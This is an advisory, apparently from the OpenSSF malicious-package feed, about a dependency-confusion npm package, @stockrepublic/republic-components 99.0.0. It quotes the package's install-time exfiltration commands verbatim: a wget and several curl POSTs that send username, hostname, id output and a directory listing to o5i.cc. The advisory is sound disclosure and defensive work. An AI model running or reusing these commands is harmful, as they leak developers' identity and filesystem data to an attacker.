@stockrepublic/republic-componentsnpm

The package masquerades as an internal @stockrepublic component (version 99.0.0, description 'Runs git diff and saves the output to git.log on install') but performs no git operation. Two independent install-time exfiltration paths fire on npm install:

1. package.json preinstall runs wget --quiet "http://o5i.cc/supp?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", leaking the installer's username, working directory, and hostname over plain HTTP to o5i.cc.
2. package.json install runs node index.js, which at index.js line 11 invokes execSync("id > log.txt; ls -la >> log.txt; hostname >> log.txt; curl -X POST -F [email protected] https://o5i.cc/supp; curl -X POST -d \"$(id)\" https://o5i.cc/supp"), exfiltrating uid/gid output and a directory listing of the consumer's project.

The inflated 99.0.0 version in a scoped namespace, combined with a cover-story description that does not match the code, is the canonical dependency-confusion pattern targeting an organization's private @stockrepublic registry. Any developer or CI system that pulls this public package by mistake leaks identity and filesystem metadata to attacker infrastructure.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified '@stockrepublic/republic-components' @ 99.0.0 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.